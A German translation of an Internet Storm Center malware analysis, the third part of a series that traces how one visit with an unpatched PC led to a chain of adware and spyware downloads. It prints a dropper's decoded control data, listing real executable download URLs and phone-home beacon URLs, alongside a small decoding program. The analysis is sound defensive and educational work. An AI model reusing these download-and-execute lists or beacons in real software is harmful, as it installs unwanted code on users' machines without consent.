Schädlingen auf der Spur, Teil 3
Im dritten Teil der Serie illustriert Tom Liston, dass auf einem ungepatchten System ein einziger falscher Klick genĂĽgt, damit megabyteweise Software installiert wird. Und die macht, was sie will.
Dies ist ein Tagebucheintrag des Diensthabenden im Internet Storm Center. heise Security veröffentlicht die deutsche Übersetzung mit freundlicher Genehmigung des ISC und des Autors Tom Liston. Das Original finden Sie hier.
Achtung: Die meisten Links im folgenden Text sind absichtlich nicht klickbar. Betrachten Sie das als Warnung...
Bevor wir unseren Kaninchenbau weiter erforschen, ein paar Anmerkungen:
Ich möchte mich bei allen, die dieser Exkursion folgen, für ihre Geduld bedanken. Es ist vermutlich schwer nachzuvollziehen, wie zeitaufwendig die Recherchen für diese kleinen Essays sind. Außerdem haben mich eine ganze Reihe von Dingen von der Arbeit an diesem Teil abgelenkt, wie Familie, Job und der übliche "Kram", der beim SANS ISC so anfällt: MS04-028, das Tool GDIScan, das das ISC in ein GDIScan Helpdesk umfunktioniert hat (sorry Leute!), die jährliche SANS Network Security in Vegas und so weiter... Bitte entschuldigen Sie also die lange Wartezeit; ich hoffe sie war es wert.
Nachdem das erledigt ist, gibt es zum Aufwärmen eine kurze Zusammenfassung der bisherigen Reise. Außerdem wär jetzt ein guter Zeitpunkt, nochmal die Toilette aufzusuchen und Bier und Chips bereitzulegen -- denn wenn wir einmal loslegen, gibt es keine Pausen mehr. Machen Sie ruhig -- ich warte...
Fertig? Gut! Auf geht's.
Im Anfang war Otto Normalo. Und Otto kaufte sich einen neuen Computer und ging damit ins Internet. Und mit seinem Computer surfte Otto, las E-Mail und hatte SpaĂź mit Spielen. Und Otto sah sich das Internet an und sah, dass es gut war.
Doch während Otto das Gute im Internet kannte, wusste er nicht um das Böse, das ebenfalls im Internet lebte. Und so patchte er nicht.
Dann, eines Tages, kam er unwissentlich an einen bösen Ort und Böses befiel seinen neuen Rechner.
Wie böse? SEHR böse:
Aus Schädlingen auf der Spur, Teil 1:
1. Ottos Startseite wurde verändert. Sie zeigt nun auf:
http://default-homepage-network.com/start.cgi?new-hkcu
2. Ottos Standardsuchseite wurde umgebogen auf: http://server224.smartbotpro.net/7search/?new-hkcu
3. Der Suchassistent wurde abgeschaltet.
4. DafĂĽr wurde "TV Media Display" installiert
5. und addictivetechnologies.net beglĂĽckte Otto mit einer Datei, die Antiviren-Software als Win32/TrojanDownloader.Rameh.C bezeichnet.
Und aus Schädlingen auf der Spur, Teil 2:
6. Auf GeheiĂź der Malware von Addictive Technologies lud sich Ottos Rechner "Anweisungen" von F1Organizer.com herunter.
7. Durch diese Anweisungen tauchten zwei neue "Favoriten" in Ottos Browser auf und zwei neue "Geschenke" wurden auf dem PC installiert (SplWbr.dll and ezbdlLs.dll.
8. Die Installation von SplWbr.dll brachte den "Ad Destroyer and Virtual Bouncer" from SpyWare Labs, Inc. und die "TopRebates.com AutoTrack" Software auf Ottos Rechner.
9. Die Installation von ezbdlLs.dll lud ein "Utility zum Downloaden und Upgraden von Software" von "ABetterInternet" nach -- ein Utility, das das Surfen im Internet "einfach, aufregend und persönlich" gestaltet, wie die netten Leute von "ezULA" versichern. Außerdem landete das Browser-Hijacking-Tool SAHAgent auf dem Rechner.
10. Und schlieĂźlich wurde die Datei hp1.exe heruntergeladen und ĂĽber einen .CHM-Exploit ausgefĂĽhrt.
An der Stelle haben wir das letzte Mal aufgehört und ich versprach, dass hp1.exe ein schwerer Brocken wird. Also lassen Sie uns hp1.exe analysieren.
hp1.exe
hp1.exe
Die Datei beglückt uns mit 49.152 Bytes Visual Basic Code (prust!). Die Versionsinformationen der Datei behaupten, sie sei von einer Firma namens "df" mit dem internen Namen "bigs104" erstellt worden. Startet man das Programm, ergießt sich eine wahre Flut von Schädlingen auf den Rechner. Lehnen Sie sich zurück und versuchen Sie, Schritt zu halten, während wir den Spuren dieser Schädlinge folgen:
Zunächst kontaktiert es http://mmm.roings.com/bundle.php?aff=bigs104 und lädt 1449 Bytes an Daten nach:
388
{}{}{}wrds======ckkcha*gki+waevgl9uxwaevgl*}elkk*gki+waevgl9tx
}elkk*gki+v+w|+.9txv`w*}elkk*gki+9txwaevgl*iwj*gki+vawqhpw*ewt9ux
eqpk*waevgl*iwj*gki+vawqhpw*ewt9uxc*iwj*gki+9uxekhwaevgl*gki+
ekhgki+waevgl9uqav}xwaevgl*ekh*gki+ekhgki+waevgl9uqav}xehhplasaf*
gki+waevgl9uxsaf*ewo*gki+saf9uxkravpqva*gki+`+waevgl9Oa}skv`wx
gkjpajp*kravpqva*gki+`+waevgl9Oa}skv`wxiw|ih*mjbkwtega*gki+lkia+`
kc9uosxmjbkwtega*gki+lkia+`kc9uosxwaevgl*japwgeta*gki+jw+waevgl9
uqav}xjapwgeta*gki+jw+waevgl9uqav}xehpermwpe*gki+saf+vawqhpw9ux
waevgl*h}gkw*gki+`abeqhp*ewt9uqav}xh}gkw*gki+waevgl*ewt9uqav}x
waevgl*aevplhmjo*jap+pvego9uxwaevgl*hkkowievp*gki+t+waevgl9up
{}{}{}doms======faewp}wtkvpeh*2|*pk9995xxxgavmeh~*gki9996xxx
`vmjoi}*gki9995
{}{}{}ver======17
{}{}{}pay======yes
{}{}{}ip======aa.bbb.cc.dd (das war Ottos IP-Adresse)
{}{}{}phases======`veckjfehh~9995xxxgvegow9996xx
mb$}kq$qwa$plmw$wmpa9995
{}{}{}sewers======wa|$bkv$bvaa9995xxxwa|9996xxxikva$wa|$bkv$ia
999512
{}{}{}outers======
175
xxxxxi}a|a999lppt>++fmjw6*ia`me)ikpkv*jap+wkbp+hke`w+999i}a|
a999999EHHxJQHHxxxxxerepev999lppt>++sss*erepevvawkqvgaw*gki+`
mwp+ewp[0[ii*a|a999ewp[0[ii*a|a999ewp[0[ii*a|a999QWxAFxEQxGExCFxxxxx
a6cmra999lppt>++fmjw6*ia`me)ikpkv*jap+wkbp+Ia`meIkpkv61*a|a999Ia`
meIkpkv61*a|a999Ia`meIkpkv61*a|a999QWxGExxxxx
qjwpeh999lppt>++qtw*vkmjcw*gki+wkbp+qjwpehh*a|
a999qmjwpehhav999999EHHxJQHH
f
{}{}{}reg======
5c
xxxxxkg|5<999lppt>++fmjw6*ia`me)ikpkv*jap+wkbp+ii64*kg|999ii64*kg|
999ii64*kg|999EHHxQWxGExAF
6
{}{}{}
0
(Anmerkung: Die Daten wurden fĂĽr eine bessere Darstellung etwas umformatiert.)
Was zum Teufel soll das nun wieder bedeuten? Hmm... es war offensichtlich ein dynamisch erstellter Datensatz, da er Ottos IP-Adresse im Klartext enthielt (genauer: die IP-Adresse der NAT-Firewall hinter der Ottos Rechner saß). Und es scheint, als wären die Daten irgendwie "verschlüsselt".
Nach geraumer Zeit -- und vielen frustiert zusammengeknĂĽllten Zetteln, denen die Katze gerade noch ausweichen konnte -- gelang es dem unerschrockenen Autor doch noch, den Code zu knacken. Und zwar mit folgendem kleinen Programm:
#include <stdio.h>
int main(int ac, char **av) {
FILE *in, * out;
char buffer[80], *c, val;
int cont = 1;
if(ac != 2)
{puts("Usage: df_decrypt filename"); return 1;}
if((in = fopen(av[1], "r")) == NULL)
{puts("Cannot open input file."); return 2;}
if(!(out = fopen("output.txt", "w")))
{puts("Cannot open output file."); return 3;}
while(cont){
if(fgets(buffer, sizeof(buffer), in)){
c = buffer;
while(*c){
if(*c != '\n'){
val = *c & 7;
if(val < 4) *c = *c + 4;
else *c = *c - 4;
}
c++;
}
fputs(buffer, out);
} else cont = 0;
}
fclose(in); fclose(out);
return 0;
}
Führt man die entschlüsselten Daten mit den offensichtlichen Schlüsselwörtern aus dem Original zusammen, ergibt sich folgender Klartext:
388
{}{}{}wrds======google.com/search=q|search.yahoo.com/search=p|
yahoo.com/r/sx/*=p|rds.yahoo.com/=p|search.msn.com/results.asp=q|
auto.search.msn.com/results.asp=q|g.msn.com/=q|
aolsearch.com/aolcom/search=query|search.aol.com/aolcom/search=query|
alltheweb.com/search=q|web.ask.com/web=q|overture.com/d/search=Keywords|
content.overture.com/d/search=Keywords|msxml.infospace.com/home/dog=qkw|
infospace.com/home/dog=qkw|search.netscape.com/ns/search=query|
netscape.com/ns/search=query|altavista.com/web/results=q|
search.lycos.com/default.asp=query|lycos.com/search.asp=query|
search.earthlink.net/track=q|search.looksmart.com/p/search=qt
{}{}{}doms====== beastysportal.6x.to===1|||cerialz.com===2|||drinkmy.com===1
{}{}{}ver======17
{}{}{}pay======yes
{}{}{}ip======aa.bbb.cc.dd (das war Ottos IP-Adresse)
{}{}{}phases====== dragonballz===1|||cracks===2||if you use this site===1
{}{}{}sewers====== sex for free===1|||sex===2|||more sex for me===1
12
{}{}{}outers======
175
|||||myexe===http://bins2.media-motor.net/soft/loads/
===myexe======ALL|NULL
|||||avatar===http://www.avatarresources.com/dist/ast_4_mm.exe
===ast_4_mm.exe===ast_4_mm.exe===US|EB|AU|CA|GB
|||||e2give===http://bins2.media-motor.net/soft/MediaMotor25.exe
===MediaMotor25.exe===MediaMotor25.exe===US|CA
|||||unstal===http://ups.roings.com/soft/unstall.exe
===uinstaller======ALL|NULL
f
{}{}{}reg======
5c
|||||ocx18===http://bins2.media-motor.net/soft/mm20.ocx
===mm20.ocx===mm20.ocx===ALL|US|CA|EB
6
{}{}{}
0
Steuerdaten
Steuerdaten
Nachdem Ottos Computer diese "Steuerdaten" heruntergeladen hatte, nahm er auf auf TCP Port 8010 Kontakt mit "http://www.mastermind.com/a?l=PeAyF1sgrZYw&i=aaa.bbb.ccc.ddd" auf (wobei aaa.bbb.ccc.ddd wieder die IP-Adresse von Ottos Rechner war). Als Antwort bekam er drei Zeilen mit Daten: "2", "US", "0".
Das passt zu den Länderkennungen, die bereits an ein paar Stellen in den entschlüsselten Daten aufgetaucht waren. Offenbar reagiert der Schädling unterschiedlich, je nachdem, in welchem Land sich die infizierte Maschine befindet. Das Skript auf www.mastermind.com nimmt eine IP-Adresse entgegen und liefert die zugehörige Länderkennung. Die anderen beiden Codes ("2" und "0") steuern wohl andere Teile des Schädlings.
Sofort nachdem er die Länderkennung von mastermind.com erhalten hatte, kontaktierte Ottos Computer "http://bins2.media-motor.net/soft/mm20.ocx" und lädt, installiert und registriert ein 61.440-Byte großes OCX (Anm. des Übersetzers: OLE Control Extension, eine veraltete Form von ActiveX-Controls, also Programmen, die anderen Programmen Dienste bereitstellen). Ersten Tests zufolge handelt es sich dabei um eine OCX-Version von hp1.exe. Es enthält die gleichen Zeichenketten und scheint diesselben Funktionen bereitzustellen. Ich schätze, es fungiert als fest installierte ("resident") Version von hp1.exe.
Und weiter geht's: Als nächstes holt hp1.exe von "http://bins2.media-motor.net/soft/loads/8-24.exe" ein ausführbares Programm mit 40.960 Byte. Dessen Name "8-24" leitet sich vom Datum des Downloads, dem 24. August, ab.
Gemäß des Marschbefehls in der entschlüsselten Steuerdatei wendet sich Ottos Rechner nun an "http://www.avatarresources.com/dist/ast_4_mm.exe" und lädt dort ein weiteres, 129.152-Byte-großes Programm herunter. Dann geht es zu "http://bins2.media-motor.net/soft/MediaMotor25.exe" und holt dort ein Programm mit 9,056 Byte.
Beide Dateien werden gestartet und MediaMotor25.exe beginnt unverzüglich einen weiteren Download von "http://64.7.220.98/downloads/IeBHOs.dll", der sich als ein Browser Helper Object (BHO, 129.536 Byte) für den Internet Explorer entpuppt. IeBHOs.dll ist ein bekannter Bestandteil der Adware von "e2give". Weil es im Internet Explorer installiert und damit im Wesentlichen Bestandteil des Browsers wurde, ist es in der idealen Position, Ottos Surfziele zu protokollieren und Aufrufe von bestimmten Seiten so umzuändern, dass Provisionen an e2give fließen. Gemäß e2gives Web-Site spendet die Firma einen Teil aller Einnahmen durch solche Einkäufe an das e2give Wohltätigkeitsnetz. Damit ist es natürlich völlig legitim, dass sie ihre Software auf Ottos Rechner ohne dessen Einverständnis installieren. (Ja, das war Sarkasmus).
Die Datei ast_4_mm.exe von avatarresources.com ist ein Wise-Installations-Programm (Anm. des Übersetzers: Das Wise Installation System ist ein Software-Installations-Paket). Während der Installation telefoniert es nach Hause, um die netten Leute von avatarresources wissen zu lassen, dass es eine neue Heimat gefunden hat:
"http://www.avatarresources.com/count/count.php?&mm2_us&mm2_new_nocpr"
Die Wise-Installation hat eine eigene Download-Engine, die die Site mit dem interessanten Namen "www.wenksdisdkjeilsow.com" kontaktiert und dort die URL "http://www.wenksdisdkjeilsow.com/config/?v=5&n=mm2&i=" aufruft. Trotz einiger Fehler die das erzeugt, schickt sie weitere Konfigurationsinformationen. (Hey Leute, wenn ihr euch schon die MĂĽhe macht, das alles aufzusetzen, dann setzt wenigstens die Rechte auf eure Skripte richtig...)
566
<br />
Warning: SAFE MODE Restriction in effect.
The script whose uid is 500 is not allowed to access
/usr/local/psa/home/vhosts/wenksdisdkjeilsow.com/httpdocs
/config/log owned by uid 10011 in /usr/local/psa/home
/vhosts/wenksdisdkjeilsow.com/httpdocs/config/index.php
on line 24<br /><br />
Warning: fopen("/usr/local/psa/home/vhosts
/wenksdisdkjeilsow.com/httpdocs/config/log", "a") -
Inappropriate ioctl for device in /usr/local/psa
/home/vhosts/wenksdisdkjeilsow.com/httpdocs
/config/index.php on line 24<br />
<br />
Warning: fputs(): supplied argument is not a
valid File-Handle resource in /usr/local/psa
/home/vhosts/wenksdisdkjeilsow.com/httpdocs/config/index.php
on line 25<br />
<br />
Warning: fclose(): supplied argument is not a
valid File-Handle resource in /usr/local/psa
/home/vhosts/wenksdisdkjeilsow.com/httpdocs/config/index.php
on line 26<br />
[URLS]
2,http://tt2.avres.net/tt/remove_spyware.exe
2,http://tt2.avres.net/tt/curgsi.exe
3,http://searchlocate.com/toolbar/searchlocate.exe
[VERSION]
5
[PROGRAM URL]
http://www.wenksdisdkjeilsow.com/files/ast_5_main.exe
[ID]
ArKJ9t9HzRnbf0GineJhq
[PRIORITY]
1,http://tt2.avres.net/tt/cpr_mm2.exe
2,http://tt2.avres.net/tt/ab1.exe
3,http://tt2.avres.net/tt/tvm_bundle.exe
4,http://tt2.avres.net/tt/cpr_mm2.exe
0
Das ist einfach miserabel programmiert: Wenn ihr eine Datei öffnet, MÜSST ihr überprüfen, ob die zurückgelieferten Handles auch gültig sind... verdammt ... das ist Programmierer-Einmaleins. Aber ich schweife ab...
Schauen Sie da oben! Ich seh noch mehr URLs, die zu ausfĂĽhrbaren Dateien fĂĽhren. Ich frag mich, was da wohl passiert...
Egal ... wir kommen langsam zum Ende der verschlĂĽsselten Liste und Ottos Computer holt sich noch eine Datei von "http://ups.roings.com/soft/unstall.exe." Das ist anscheinend ein Uninstall-Programm in Visual Basic mit 45.056 Bytes. Es zielt allerdings nur auf ein paar Dateien, die hp1.exe direkt installiert hatte.
Aber beinah hätten wir vergessen, dass im Hintergrund noch eine Wise-Installation läuft. Und Sie haben richtig geraten -- die lädt fleißig nach:
"http://tt2.avres.net/tt/cpr_mm2.exe" (270,415 bytes)
"http://tt2.avres.net/tt/ab1.exe" (500,869 bytes)
"http://tt2.avres.net/tt/tvm_bundle.exe" (53,738 bytes)
"http://tt2.avres.net/tt/cpr_mm2.exe" (270,415 bytes - ????????)
Ja, Sie haben richtig gesehen. Das holt tatsächlich zweimal die selbe Datei. (Es muss sich wohl um einen besondere Charaktereigenschaft von Leuten mit ausgeprägten moralischen Defiziten handeln, dass sie gleichzeitig clever und dumm sein können. Manchmal ziehen die Autoren solcher Programme wirklich erstaunliche Sachen aus dem Hut -- nur um dann gleich darauf wieder etwas unglaublich dämliches zu machen. Stetigkeit, Jungs, Stetigkeit...)
Während das alles passiert ...
Während das alles passiert ...
Während das alles passiert, bleibt auch hp1.exe nicht untätig. (Sie erinnern sich an die Datei? Das ist die, mit der wir heute angefangen haben.) Sie telefoniert nach Hause, um den Typen bei roing.com zu versichern, dass im Malware-Land alles ok ist, dass es alles, was ihm aufgetragen wurde, erledigt hat und dass es einen großen "digitalen Klaps auf den Rücken" verdient hat:
"http:// logs.roings.com/log3.php?c={D358D17F-0D1A-4A98-A98D-810B01216183} &what=newinstall&aff=bigs104&country=US&ocx18=1&myexe=1&avatar=1&e2give=1"
"Seht her, was ich gemacht habe! Ich hab "ocx18", (mm20.ocx), "myexe" (8-24.exe), "avatar" (ast_4_mm.exe) und "e2give" (MediaMotor25.exe) auf dem Rechner dieses armen Trottels installiert. Seid ihr nicht stolz auf mich?"
Da will natĂĽrlich der Wise-Installer nicht zurĂĽckstehen und telefoniert ebenfalls schnell nach Hause, um die dort wissen zu lassen, dass auch er seinen Job gut gemacht hat:
"http://www.avatarresources.com/count/count.php?&mm2cpr_new"
Und was ergibt das Ganze jetzt?
Auf Ottos Computer wurden so viele tolle und aufregende "Zusätze" installiert, dass ich langsam den Überblick verliere. Sehn wir mal nach: Da sind jetzt gleich zwei "Provisions-Manager" (SAHAgent und e2give), einiges Zeug von avatarresources.com und ein paar Dateien von tt2.avres.net. Und es kommt noch mehr -- glauben Sie mir.
Zur Erinnerung: Das alles ist das Ergebnis nur EINES Besuchs einer Website mit einer nicht-gepatchten Maschine.
Falls Sie mal jemandem erklären müssen, was ihm passieren kann, wenn er sein System nicht patcht, zeigen Sie ihm nur diese Liste mit dem Zwischenstand (und ich zähl da nur ausführbare Inhalte):
hp2.exe (16,384 bytes)
tvmupdater4bp5.exe (195,072 bytes)
AtPartners.dll (96,256 bytes)
SplWbr.dll (454,656 bytes -- entpackt drei Dateien mit 892,288 bytes)
ezbdlLs.dll (151,040 bytes -- entpackt vier Dateien mit 314,880 bytes)
hp1.exe (49,152 bytes)
mm20.ocx (61,440 bytes)
8-24.exe (40,960 bytes)
MediaMotor25.exe (9,056 bytes)
ast_4_mm.exe (129,152 bytes)
IeBHOs.dll (129,536 bytes)
cpr_mm2.exe (270,415 bytes)
ab1.exe (500,869 bytes)
tvm_bundle.exe (53,738 bytes)
und natĂĽrlich cpr_mm2.exe (270,415 bytes) nochmal...
Die beschämende Gesamtsumme (bisher.. da kommt noch einiges):
Heruntergeladen: 15 Dateien mit 2.428.141 Byte
Installiert: 20 Dateien, die 3.029.613 Byte auf der Platte belegen.
Und ich hab zweifellos noch ein paar ĂĽbersehen...
Zu Beginn des zweiten Teil von "Schädlingen auf der Spur" hab ich behauptet, dass Ottos PC ihm nicht mehr gehört. Mit über 2 MByte Software, die ohne seine Erlaubnis heruntergeladen, ausgeführt und installiert wurde, kann man wohl zweifellos behaupten, dass Otto nicht mehr der Herr im Haus ist. Aber wer ist es dann?
Im nächsten Teil will ich zum Ende kommen und die Software, die da auf Ottos PC installiert wurde, etwas genauer unter die Lupe nehmen, um mehr über die herauszufinden, die unsere Systeme und Netze täglich mit einer Flut von Spyware und Adware attackieren. Bleiben Sie dran – das wird lustig.
http://www.labreatechnologies.com